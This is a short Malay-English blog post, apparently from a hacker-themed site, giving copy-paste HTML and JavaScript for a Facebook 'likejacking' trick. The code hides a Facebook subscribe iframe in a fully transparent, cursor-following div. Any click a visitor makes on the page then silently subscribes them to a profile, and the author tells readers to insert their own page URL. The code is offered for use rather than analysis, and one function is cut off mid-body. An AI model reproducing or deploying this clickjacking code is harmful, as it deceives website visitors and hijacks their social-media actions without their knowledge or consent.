Korang mesti mati akal tngok bende nie,,sbb bkn sume yg reti buat... ^_^
hehehehehe,,btw,,goodluck la,,ahahahhaa
Firstkorang download nie "jquery-1.4.2.min.js" the version IS important.
Place this in your header section, right below <title></title>
Code:
<script src="jquery-1.4.2.min.js" type="text/javascript"></script>
<script type="text/javascript">
var interval;
$(function()
{
interval=setInterval("updateActiveElement();", 50);
});
function updateActiveElement()
{
if ( $(document.activeElement).attr('id')=="fbframe" )
{
clearInterval(interval);
iflag=1;
}
}
</script>
Insert this into your footer section right before </body></html>
Pastikan untuk menukar kod ini untuk mencerminkan url laman Korang. tengok untuk avhackerzadda dan menggantikan dengan Salam. Melainkan jika korang mahu untuk mempromosikan laman saya :-) heehehehe
Code:
<div style="overflow: hidden; width: 10px; height: 12px; position: absolute; filter:alpha(opacity=0); -moz-opacity:0.0; -khtml-opacity: 0.0; opacity: 0.0;" id="icontainer">
<!--facebook like frame code goes here-->
<iframe src="http://www.facebook.com/plugins/subscribe.php?href=https%3A%2F%2Fwww.facebook.com%2Fprofile.php?id=100003702956969&layout=box_count&show_faces=false&colorscheme=light&font&width=100&appId=183118511794263" scrolling="no" frameborder="0" style="border:none; overflow:hidden; width:50px; height:23px;" allowTransparency="true" id="fbframe" name="fbframe"></iframe>
<!--end facebook like frame code-->
</div>
<script>
var iflag = 0;
var icontainer = document.getElementById('icontainer');
var standardbody=(document.compatMode=="CSS1Compat")? document.documentElement : document.body //create reference to common "body" across doctypes
function mouseFollower(e){
/* DO NOT EDIT THIS */
if (window.event)
{ // for IE
icontainer.style.top = (window.event.y-5)+standardbody.scrollTop+'px';
icontainer.style.left = (window.event.x-5)+standardbody.scrollLeft+'px';
}
else
{
icontainer.style.top = (e.pageY-5)+'px';
icontainer.style.left = (e.pageX-5)+'px';
}
Live demo
Hope you like it :)
No comments:
Post a Comment